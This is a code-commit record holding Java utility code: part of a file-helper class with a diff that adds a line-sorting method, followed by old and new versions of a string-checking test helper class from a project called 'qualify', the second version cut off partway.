public static void copyFile(File f1, File f2) throws IOException {
if (!f2.getParentFile().exists()) {
f2.getParentFile().mkdirs();
}
InputStream in = null;
OutputStream out = null;
try {
in = new FileInputStream(f1);
out = new FileOutputStream(f2);
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (IOException ex) {
throw ex;
} finally {
try {
in.close();
} catch (IOException ex) {
}
try {
out.close();
} catch (IOException ex) {
}
if (f2.exists()) {
f2.setLastModified(f1.lastModified());
}
}
}
// http://www.mkyong.com/java/how-to-delete-directory-in-java/
public static void delete(File file) throws IOException {
if (file.isDirectory()) {
// directory is empty, then delete it
if (file.list().length == 0) {
file.delete();
} else {
// list all the directory contents
String files[] = file.list();
for (String temp : files) {
// construct the file structure
File fileDelete = new File(file, temp);
// recursive delete
delete(fileDelete);
}
// check the directory again, if empty then delete it
if (file.list().length == 0) {
file.delete();
}
}
} else {
// if file, then delete it
file.delete();
}
}
public static void deleteChildren(File file) throws IOException {
if (file.isDirectory()) {
// list all the directory contents
String files[] = file.list();
for (String temp : files) {
// construct the file structure
File fileDelete = new File(file, temp);
// recursive delete
delete(fileDelete);
}
}
}
public static void deleteEmptyChildren(File dir) {
if (dir == null
|| !dir.exists()) {
return;
}
for (File son : dir.listFiles()) {
if (son.isDirectory()) {
if (son.listFiles().length == 0) {
System.out.println("Deleting " + son.getAbsolutePath());
son.delete();
} else {
deleteEmptyChildren(son);
}
}
}
}
public static void scanFile(final List<File> lista, final File arquivo) {
scanFile(lista, arquivo, -1);
}
public static void scanFile(final List<File> lista, final File arquivo, int stopAfter) {
if (stopAfter > 0
&& lista.size() > stopAfter) {
return;
}
try {
if (arquivo.isDirectory()) {
System.out.println("Scan " + arquivo.getName());
for (final File arquivoFilho : arquivo.listFiles()) {
if (arquivoFilho.isDirectory()) {
scanFile(lista, arquivoFilho, stopAfter);
} else {
lista.add(arquivoFilho);
}
if (stopAfter > 0
&& lista.size() > stopAfter) {
return;
}
}
} else {
// System.out.println(arquivo.getAbsolutePath());
if (arquivo != null) {
lista.add(arquivo);
}
}
} catch (Exception e) {
System.err.println("Error fetching file --> " + arquivo.getAbsolutePath() + " [" + e.getMessage() + "]");
e.printStackTrace();
}
}
public static void scanFile(final List<File> lista, final File arquivo, final FileFilter filter) {
try {
if (arquivo.isDirectory()) {
for (final File arquivoFilho : arquivo.listFiles(filter)) {
scanFile(lista, arquivoFilho, filter);
}
} else {
// System.out.println(arquivo.getAbsolutePath());
if (arquivo != null) {
lista.add(arquivo);
}
}
} catch (Exception e) {
}
}
public static File chooseFileOpen(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
chooser.setDialogType(JFileChooser.OPEN_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
public static File chooseFileSave(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
chooser.setDialogType(JFileChooser.SAVE_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
public static File chooseDirOpen(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
chooser.setDialogType(JFileChooser.OPEN_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
}
| sort file lines utility
| src/main/java/org/brunocunha/inutils4j/MyFileUtils.java | sort file lines utility | <ide><path>rc/main/java/org/brunocunha/inutils4j/MyFileUtils.java
<ide> import java.io.IOException;
<ide> import java.io.InputStream;
<ide> import java.io.OutputStream;
<add>import java.util.Collection;
<ide> import java.util.List;
<add>import java.util.Set;
<ide>
<ide> import javax.swing.JFileChooser;
<ide>
<ide> return saveTo;
<ide> }
<ide>
<add> public static void sortLines(File file) throws IOException {
<add> Collection<String> lines = MyStringUtils.getContentListSplit(file, "\r?\n");
<add>
<add> Set<String> sort = MyStringUtils.fixList(FixType.ALPHABETICALDELETEREPEATED, lines);
<add> MyStringUtils.saveToFile(0, sort, file.getAbsolutePath());
<add> }
<add>
<ide> } |
|
Java | bsd-3-clause | 82e034997a753a7af8824ddb20d52ffae0325f55 | 0 | mbordas/qualify,mbordas/qualify,mbordas/qualify | /*Copyright (c) 2010-2012, Mathieu Bordas
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3- Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package qualify.tools;
import name.fraser.neil.plaintext.diff_match_patch;
import name.fraser.neil.plaintext.diff_match_patch.Diff;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringUtils;
import qualify.TestCase;
import qualify.doc.DocList;
import qualify.doc.DocString;
import qualify.doc.DomElementAble;
import qualify.doc.Field;
import qualify.doc.Span;
import java.io.IOException;
import java.io.InputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* TestToolStrings provides tools for checking String objects.
*/
public class TestToolStrings {
private TestCase m_testCase = null;
public TestToolStrings(TestCase tc) {
m_testCase = tc;
}
/**
* Checks that the two strings given through parameters are equal. Returns true if both are null. Use checkEquality(expectedString,
* testedString, false) if you want to check equality without case sensitive.
*
* @param expectedString
* @param testedString
*/
public boolean checkEquality(String expectedString, String testedString) {
return checkEquality(expectedString, testedString, true);
}
/**
* Returns true if both strings are equal. Set caseSensitive to 'false' in order to ignore characters' case for comparison.
*
* @param expectedString The expected value.
* @param testedString The value to compare.
* @param caseSensitive Set 'false' in order to ignore characters' case. Set 'true' otherwise.
* @return 'true' if both strings are equal. 'false' otherwise.
*/
public static boolean equals(String expectedString, String testedString, boolean caseSensitive) {
boolean equality = false;
if(caseSensitive) {
equality = testedString.equals(expectedString);
} else {
equality = testedString.toUpperCase().equals(expectedString.toUpperCase());
}
return equality;
}
/**
* Checks that the two strings given through parameters are equal. Returns true if both are null.
*
* @param expectedString
* @param testedString
* @param caseSensitive must comparison care about case sensitive?
*/
public boolean checkEquality(String expectedString, String testedString, boolean caseSensitive) {
return checkEquality(m_testCase, expectedString, testedString, caseSensitive);
}
public static boolean checkEquality(TestCase testCase, String expectedString, String testedString, boolean caseSensitive) {
boolean result = false;
DocList comment = getDocListComparison(expectedString, testedString);
if(testedString == null) {
if(expectedString == null) {
result = true;
testCase.addTestResult(result, comment);
} else {
result = false;
testCase.addTestResult(result, comment);
}
} else {
result = equals(expectedString, testedString, caseSensitive);
testCase.addTestResult(result, comment);
}
return result;
}
/**
* Return a Span object (see package qualify.doc) corresponding to the compared string: differing characters are highlighted. Use that
* Span object to add comment to your TestCase.
*
* @param referenceString The string that is used as referenced.
* @param stringToCompare The string to compare. That string will be reported into the returned Span.
* @return
*/
public static Span getComparedDocString(String referenceString, String stringToCompare) {
diff_match_patch dmp = new diff_match_patch();
List<Diff> diffs = dmp.diff_main(referenceString, stringToCompare);
Span secondString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.EQUAL) {
secondString.add(new Span(diff.text, null));
} else if(diff.operation == diff_match_patch.Operation.INSERT) {
secondString.add(new Span(diff.text, "insert"));
}
}
return secondString;
}
/**
* Returns a DocList (see package qualify.doc) that shows the differences between two strings. Differing characters are highlighted. Use
* that DocList object to add comment to your TestCase.
*
* @param expectedString
* @param testedString
* @return
*/
public static DocList getDocListComparison(String expectedString, String testedString) {
DomElementAble firstLine = null, secondLine = null;
if(expectedString != null) {
if(testedString != null) {
diff_match_patch dmp = new diff_match_patch();
List<Diff> diffs = dmp.diff_main(expectedString, testedString);
Span firstString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.DELETE) {
firstString.add(new Span(diff.text, "delete"));
} else if(diff.operation == diff_match_patch.Operation.EQUAL) {
firstString.add(new Span(diff.text, null));
}
}
firstLine = new Field("expected", firstString);
Span secondString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.EQUAL) {
secondString.add(new Span(diff.text, null));
} else if(diff.operation == diff_match_patch.Operation.INSERT) {
secondString.add(new Span(diff.text, "insert"));
}
}
secondLine = new Field("tested", secondString);
} else {
firstLine = new Field("expected", expectedString);
secondLine = new DocString("tested string is null");
}
} else {
firstLine = new DocString("expected string is null");
if(testedString != null) {
secondLine = new Field("tested", testedString);
} else {
secondLine = new DocString("tested string is null");
}
}
DocList comment = new DocList();
comment.addItem(firstLine);
comment.addItem(secondLine);
return comment;
}
/**
* Returns 'true' if the expected string is contained into the tested string.
*
* @param expectedContainedString The string that is expected.
* @param testedString The string into witch the expected string should be contained.
* @param caseSensitive Set to 'true' if you do care about the case for string comparison.
* @return 'true' if the expected string is contained into the tested string. Returns 'false' otherwise.
*/
public boolean contains(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean inclusion = false;
if(caseSensitive) {
inclusion = testedString.contains(expectedContainedString);
} else {
inclusion = testedString.toUpperCase().contains(expectedContainedString.toUpperCase());
}
return inclusion;
}
public boolean checkContains(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean result = false;
if(testedString == null) {
if(expectedContainedString == null) {
result = true;
m_testCase.addTestResult(result, "expected string is null | tested string is null");
} else {
result = true;
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested string is null too");
}
} else {
result = contains(expectedContainedString, testedString, caseSensitive);
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested='" + testedString + "'");
}
return result;
}
public boolean checkDoesntContain(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean result = false;
if(testedString == null) {
if(expectedContainedString == null) {
result = false;
m_testCase.addTestResult(result, "expected string is null | tested string is null");
} else {
result = false;
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested string is null");
}
} else {
result = !contains(expectedContainedString, testedString, caseSensitive);
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested='" + testedString + "'");
}
return result;
}
public void checkContains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
boolean result = false;
for(String testedString : testedStrings) {
if(contains(expectedContainedString, testedString, caseSensitive)) {
result = true;
break;
}
}
if(result) {
m_testCase.addTestResult(true, "expected string '" + expectedContainedString + "' is contained in strings array");
} else {
m_testCase.addTestResult(false, "expected string '" + expectedContainedString + "' is not contained in strings array");
}
}
public void checkContains(String expectedContainedString, List<String> testedStrings, boolean caseSensitive) {
checkContains(expectedContainedString, toArray(testedStrings), caseSensitive);
}
public void checkStartsWith(String expectedStart, String testedString) {
boolean result = testedString.startsWith(expectedStart);
if(result) {
m_testCase.addTestResult(true, "tested string '" + testedString + "' starts with '" + expectedStart + "'");
} else {
m_testCase.addTestResult(false, "tested string '" + testedString + "' does not start with '" + expectedStart + "'");
}
}
/**
* Checks that the Levenshtein's distance between strings a and b is less or equal to maxExpectedDistance.
*
* @param a
* @param b
* @param maxExpectedDistance
*/
public void checkLevenshteinDistance(String a, String b, int maxExpectedDistance) {
int d = getLevenshteinDistance(a, b);
m_testCase.addTestResult(d <= maxExpectedDistance, "max expected distance=" + maxExpectedDistance + " | tested distance=" + d);
}
/**
* Returns the Levenshtein's distance between strings a and b.
*
* @param a
* @param b
* @return The Levenshtein's distance between strings a and b.
*/
public static int getLevenshteinDistance(String a, String b) {
return StringUtils.getLevenshteinDistance(a, b);
}
/**
* Returns true if the tested String is contained in at least one of the referenced Strings.
*
* @param referencedStrings The Strings into where tested string should be contained
* @param testedStrings The String to look for
* @param caseSensitive Set true if characters'case is needed.
* @return true if the tested String is contained in at least one of the referenced String. False otherwise.
*/
public boolean isContained(String[] referencedStrings, String testedString, boolean caseSensitive) {
boolean result = false;
for(String referencedString : referencedStrings) {
if(contains(testedString, referencedString, caseSensitive)) {
result = true;
}
}
return result;
}
/**
* Returns true if the expected String is contained in at least one of the Strings of the tested array.
*
* @param expectedContainedString The String to look for into the string array
* @param testedStrings The array of Strings where expected String is searched.
* @param caseSensitive Set true if characters'case is needed.
* @return true if the expected String is contained in at least one of the Strings of the tested array. False otherwise.
*/
public boolean contains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
boolean result = false;
for(String testedString : testedStrings) {
if(contains(expectedContainedString, testedString, caseSensitive)) {
result = true;
}
}
return result;
}
/**
* Checks that the expected String is contained into at least one of the strings of the array. (See contains(String
* expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
*
* @param expectedContainedString The String to look for into the string array
* @param testedStrings The array of Strings where expected String is searched.
* @param caseSensitive Set true if characters'case is needed.
*/
public void checkArrayContains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
m_testCase.addTestResult(contains(expectedContainedString, testedStrings, caseSensitive),
"expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.length
+ " string(s)");
}
/**
* Checks that the expected String is not contained into at least one of the strings of the array. (See contains(String
* expectedContainedString, String[] testedStrings, boolean caseSensitive) for details.
*
* @param expectedContainedString The String to look for into the string array
* @param testedStrings The array of Strings where expected String is searched.
* @param caseSensitive Set true if characters'case is needed.
*/
public void checkDoesntContain(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
m_testCase.addTestResult(!contains(expectedContainedString, testedStrings, caseSensitive),
"expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.length
+ " string(s)");
}
public void checkDoesntContain(String expectedContainedString, List<String> testedStrings, boolean caseSensitive) {
m_testCase.addTestResult(!contains(expectedContainedString, toArray(testedStrings), caseSensitive),
"expected contained string = '" + expectedContainedString + "' | tested strings array contains " + testedStrings.size()
+ " string(s)");
}
/**
* Returns true if both strings arrays contain the same values, regardless of the order.
*
* @param expectedStrings The expected strings array.
* @param testedStrings The strings array to compare.
* @param caseSensitive Set true if characters'case is needed.
* @return True if both strings arrays contain the same values, regardless of the order. False otherwise.
*/
public boolean sameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
boolean sameNumberOfValues = false;
boolean sameValues = true;
if((testedStrings == null) || (expectedStrings == null)) {
// Both arrays are null
if((testedStrings == null) && (expectedStrings == null)) {
sameNumberOfValues = true;
sameValues = true;
} else if(testedStrings == null) {
sameNumberOfValues = false;
sameValues = false;
} else {
sameNumberOfValues = false;
sameValues = false;
}
} else {
sameNumberOfValues = (expectedStrings.length == testedStrings.length);
sameValues = true;
for(String expectedValue : expectedStrings) {
boolean expectedValueIsPresent = false;
for(String testedValue : testedStrings) {
if(equals(expectedValue, testedValue, caseSensitive)) {
expectedValueIsPresent = true;
}
}
sameValues = sameValues && expectedValueIsPresent;
}
}
return (sameNumberOfValues && sameValues);
}
/**
* Checks that the tested string array has the same values as the expected one, that means: same number, same values. That check does
* not verify the order of the values.
*
* @param expectedStrings Expected strings as an array.
* @param testedStrings The string array to check.
* @param caseSensitive Set to 'true' if you do care about the case for string comparison.
*/
public void checkSameValues(String[] expectedStrings, String[] testedStrings, boolean caseSensitive) {
if((testedStrings == null) || (expectedStrings == null)) {
// Both arrays are null
if((testedStrings == null) && (expectedStrings == null)) {
m_testCase.addTestResult(true, "expected array is null | tested strings array is null");
} else if(testedStrings == null) {
m_testCase.addTestResult(false,
"expected array is not null (" + expectedStrings.length + " values) | tested strings array is null");
} else {
m_testCase.addTestResult(false,
"expected array is null | tested strings array is not null (" + testedStrings.length + " values)");
}
} else {
boolean sameNumberOfValues = (expectedStrings.length == testedStrings.length);
boolean sameValues = true;
int expectedValuesNotFoundCount = 0;
for(String expectedValue : expectedStrings) {
boolean expectedValueIsPresent = false;
for(String testedValue : testedStrings) {
if(equals(expectedValue, testedValue, caseSensitive)) {
expectedValueIsPresent = true;
}
}
if(!expectedValueIsPresent) {
expectedValuesNotFoundCount++;
}
sameValues = sameValues && expectedValueIsPresent;
}
if(sameNumberOfValues) {
if(sameValues) {
m_testCase.addTestResult(true,
"expected string array (" + expectedStrings.length + " values | " + "tested string array ("
+ expectedStrings.length + " values");
} else {
m_testCase.addTestResult(false, "" + expectedValuesNotFoundCount + " expected values not found in tested string array");
}
} else {
m_testCase.addTestResult(false,
"expected array has " + expectedStrings.length + " values | tested strings array has " + testedStrings.length
+ " values");
}
}
}
/**
* Converts an Enumeration to a List.
*
* @param strings
* @return
*/
public static List<String> toList(Enumeration<String> strings) {
List<String> result = new ArrayList<String>();
if(strings == null) {
result = null;
} else {
while(strings.hasMoreElements()) {
result.add(strings.nextElement());
}
}
return result;
}
public static List<String> toList(String[] strings) {
List<String> result = new ArrayList<String>();
if(strings == null) {
result = null;
} else {
for(String s : strings) {
result.add(s);
}
}
return result;
}
public static String[] toArray(List<String> strings) {
return strings.toArray(new String[strings.size()]);
}
/**
* Creates a DocList from a HashMap composed of String elements. Use that DocList as comments.
*
* @param strings
* @return
*/
public static DocList toDocList(HashMap<String, String> strings) {
DocList result = new DocList();
if(strings == null) {
result = null;
} else {
for(String key : strings.keySet()) {
result.addItem(new Field(key, strings.get(key)));
}
}
return result;
}
/**
* Returns a list containing the each original string one single time, even if these values are contained several times in the original
* list.
*
* @param originalList The list of strings to clean (remove doubles).
* @return A list containing the each original string one single time
*/
public static List<String> cleanDoubles(List<String> originalList) {
List<String> result = new ArrayList<String>();
for(String value : originalList) {
if(!result.contains(value)) {
result.add(value);
}
}
return result;
}
/**
* Indicates if the string does match the regular expression
*
* @param regex
* @param string
* @return
*/
public static boolean matches(String regex, String testedString) {
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(testedString);
return m.matches();
}
public boolean checkMatchesRegex(String regex, String testedString) {
boolean result = false;
if(testedString == null) {
if(regex == null) {
m_testCase.addTestResult(false, "regex is null | tested string is null");
} else {
m_testCase.addTestResult(false, "regex=" + regex + " | tested string is null");
}
} else {
if(regex == null) {
m_testCase.addTestResult(false, "regex is null | tested=" + testedString);
} else {
result = matches(regex, testedString);
m_testCase.addTestResult(result, "regex=" + regex + " | tested=" + testedString);
}
}
return result;
}
/**
* Returns the groups catched by the regular expression into the string. Group 0 is composed by the whole string. So the first extracted
* group is group with index 1.
*
* @param regex
* @param string
* @return
*/
public static String[] getGroups(String regex, String string) {
String[] result = null;
Pattern p = Pattern.compile(regex);
Matcher m = p.matcher(string);
if(m.matches()) {
int count = m.groupCount() + 1;
result = new String[count];
for(int i = 0; i < count; i++) {
result[i] = m.group(i);
}
}
return result;
}
/**
* Concatenate too String arrays.
*
* @param a
* @param b
* @return a + b
*/
public static String[] concat(String[] a, String[] b) {
if(a == null) {
a = new String[0];
}
if(b == null) {
b = new String[0];
}
return concat(a, b, 0, b.length - 1);
}
/**
* Concatenate too String arrays. Only the part of 'b' from startIndex to endIndex is added at the end of 'a'
*
* @param a
* @param b
* @param startIndex
* @param endIndex
* @return a + b[startIndex -> endIndex]
*/
public static String[] concat(String[] a, String[] b, int startIndex, int endIndex) {
if(a == null) {
a = new String[0];
}
if((b == null)) {
b = new String[0];
}
startIndex = Math.min(startIndex, b.length);
endIndex = Math.min(endIndex, b.length - 1);
String[] result = new String[Math.max(0, a.length) + 1 + endIndex - startIndex];
for(int i = 0; i < a.length; i++) {
result[i] = a[i];
}
for(int i = startIndex; i <= endIndex; i++) {
result[a.length + i - startIndex] = b[i];
}
return result;
}
public static DocList toDocList(String[] strings) {
DocList result = new DocList();
for(String s : strings) {
result.addItem(new DocString(s));
}
return result;
}
private static String toString(byte[] bytes) {
StringBuilder result = new StringBuilder();
for(int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i]);
if(hex.length() == 1) {
result.append('0');
result.append(hex.charAt(hex.length() - 1));
} else {
result.append(hex.substring(hex.length() - 2));
}
}
return result.toString();
}
public static String[] toLines(String input) {
return input.replaceAll("\\r\\n", "\n").split("[\\r\\n]");
}
public static String md5(String inputString) throws NoSuchAlgorithmException {
byte[] inputAsBytes = inputString.getBytes();
byte[] hash = md5(inputAsBytes);
return toString(hash);
}
public static String md5(InputStream is) throws NoSuchAlgorithmException, IOException {
byte[] bytes = IOUtils.toByteArray(is);
byte[] hash = md5(bytes);
return toString(hash);
}
public static byte[] md5(byte[] bytes) throws NoSuchAlgorithmException {
byte[] hash = null;
hash = MessageDigest.getInstance("MD5").digest(bytes);
return hash;
}
}
| src/main/java/qualify/tools/TestToolStrings.java | /*Copyright (c) 2010-2012, Mathieu Bordas
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
1- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
2- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
3- Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package qualify.tools;
import java.io.IOException;
import java.io.InputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import name.fraser.neil.plaintext.diff_match_patch;
import name.fraser.neil.plaintext.diff_match_patch.Diff;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringUtils;
import qualify.TestCase;
import qualify.doc.DocList;
import qualify.doc.DocString;
import qualify.doc.DomElementAble;
import qualify.doc.Field;
import qualify.doc.Span;
/**
* TestToolStrings provides tools for checking String objects.
*/
public class TestToolStrings {
private TestCase m_testCase = null;
public TestToolStrings(TestCase tc) {
m_testCase = tc;
}
/**
* Checks that the two strings given through parameters are equal. Returns true if both are null. Use checkEquality(expectedString,
* testedString, false) if you want to check equality without case sensitive.
*
* @param expectedString
* @param testedString
*/
public boolean checkEquality(String expectedString, String testedString) {
return checkEquality(expectedString, testedString, true);
}
/**
* Returns true if both strings are equal. Set caseSensitive to 'false' in order to ignore characters' case for comparison.
*
* @param expectedString
* The expected value.
* @param testedString
* The value to compare.
* @param caseSensitive
* Set 'false' in order to ignore characters' case. Set 'true' otherwise.
* @return 'true' if both strings are equal. 'false' otherwise.
*/
public static boolean equals(String expectedString, String testedString, boolean caseSensitive) {
boolean equality = false;
if(caseSensitive) {
equality = testedString.equals(expectedString);
} else {
equality = testedString.toUpperCase().equals(expectedString.toUpperCase());
}
return equality;
}
/**
* Checks that the two strings given through parameters are equal. Returns true if both are null.
*
* @param expectedString
* @param testedString
* @param caseSensitive
* must comparison care about case sensitive?
*/
public boolean checkEquality(String expectedString, String testedString, boolean caseSensitive) {
return checkEquality(m_testCase, expectedString, testedString, caseSensitive);
}
public static boolean checkEquality(TestCase testCase, String expectedString, String testedString, boolean caseSensitive) {
boolean result = false;
DocList comment = getDocListComparison(expectedString, testedString);
if(testedString == null) {
if(expectedString == null) {
result = true;
testCase.addTestResult(result, comment);
} else {
result = false;
testCase.addTestResult(result, comment);
}
} else {
result = equals(expectedString, testedString, caseSensitive);
testCase.addTestResult(result, comment);
}
return result;
}
/**
* Return a Span object (see package qualify.doc) corresponding to the compared string: differing characters are highlighted. Use that
* Span object to add comment to your TestCase.
*
* @param referenceString
* The string that is used as referenced.
* @param stringToCompare
* The string to compare. That string will be reported into the returned Span.
* @return
*/
public static Span getComparedDocString(String referenceString, String stringToCompare) {
diff_match_patch dmp = new diff_match_patch();
List<Diff> diffs = dmp.diff_main(referenceString, stringToCompare);
Span secondString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.EQUAL) {
secondString.add(new Span(diff.text, null));
} else if(diff.operation == diff_match_patch.Operation.INSERT) {
secondString.add(new Span(diff.text, "insert"));
}
}
return secondString;
}
/**
* Returns a DocList (see package qualify.doc) that shows the differences between two strings. Differing characters are highlighted. Use
* that DocList object to add comment to your TestCase.
*
* @param expectedString
* @param testedString
* @return
*/
public static DocList getDocListComparison(String expectedString, String testedString) {
DomElementAble firstLine = null, secondLine = null;
if(expectedString != null) {
if(testedString != null) {
diff_match_patch dmp = new diff_match_patch();
List<Diff> diffs = dmp.diff_main(expectedString, testedString);
Span firstString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.DELETE) {
firstString.add(new Span(diff.text, "delete"));
} else if(diff.operation == diff_match_patch.Operation.EQUAL) {
firstString.add(new Span(diff.text, null));
}
}
firstLine = new Field("expected", firstString);
Span secondString = new Span(null, null);
for(Diff diff : diffs) {
if(diff.operation == diff_match_patch.Operation.EQUAL) {
secondString.add(new Span(diff.text, null));
} else if(diff.operation == diff_match_patch.Operation.INSERT) {
secondString.add(new Span(diff.text, "insert"));
}
}
secondLine = new Field("tested", secondString);
} else {
firstLine = new Field("expected", expectedString);
secondLine = new DocString("tested string is null");
}
} else {
firstLine = new DocString("expected string is null");
if(testedString != null) {
secondLine = new Field("tested", testedString);
} else {
secondLine = new DocString("tested string is null");
}
}
DocList comment = new DocList();
comment.addItem(firstLine);
comment.addItem(secondLine);
return comment;
}
/**
* Returns 'true' if the expected string is contained into the tested string.
*
* @param expectedContainedString
* The string that is expected.
* @param testedString
* The string into witch the expected string should be contained.
* @param caseSensitive
* Set to 'true' if you do care about the case for string comparison.
* @return 'true' if the expected string is contained into the tested string. Returns 'false' otherwise.
*/
public boolean contains(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean inclusion = false;
if(caseSensitive) {
inclusion = testedString.contains(expectedContainedString);
} else {
inclusion = testedString.toUpperCase().contains(expectedContainedString.toUpperCase());
}
return inclusion;
}
public boolean checkContains(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean result = false;
if(testedString == null) {
if(expectedContainedString == null) {
result = true;
m_testCase.addTestResult(result, "expected string is null | tested string is null");
} else {
result = true;
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested string is null too");
}
} else {
result = contains(expectedContainedString, testedString, caseSensitive);
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested='" + testedString + "'");
}
return result;
}
public boolean checkDoesntContain(String expectedContainedString, String testedString, boolean caseSensitive) {
boolean result = false;
if(testedString == null) {
if(expectedContainedString == null) {
result = false;
m_testCase.addTestResult(result, "expected string is null | tested string is null");
} else {
result = false;
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested string is null");
}
} else {
result = !contains(expectedContainedString, testedString, caseSensitive);
m_testCase.addTestResult(result, "expected='" + expectedContainedString + "' | tested='" + testedString + "'");
}
return result;
}
public void checkContains(String expectedContainedString, String[] testedStrings, boolean caseSensitive) {
boolean result = false;
for(String testedString : testedStrings) {
if(contains(expectedContainedString, testedString, caseSensitive)) {
result = true;
break;
}
}
if(result) {
m_testCase.addTestResult(true, "expected string '" + expectedContainedString + "' is contained in strings array");
} else {
m_testCase.addTestResult(false, "expected string '" + expectedContainedString + "' is not contained in strings array");
}
}
public void checkContains(String expectedContainedString, List<String> testedStrings, boolean caseSensitive) {
checkContains(expectedContainedString, toArray(testedStrings), caseSensitive);
}
public void checkStartsWith(String expectedStart, String testedString) {
boolean result = testedString.startsWith(expectedStart);
if(result) {
m_testCase.addTestResult(true, "tested string '" + testedString + "' starts with '" + expectedStart + "'");
} else {
m_testCase.addTestResult(false, "tested string '" + testedString + "' does not start with '" + expectedStart + "'");
}
}
/**
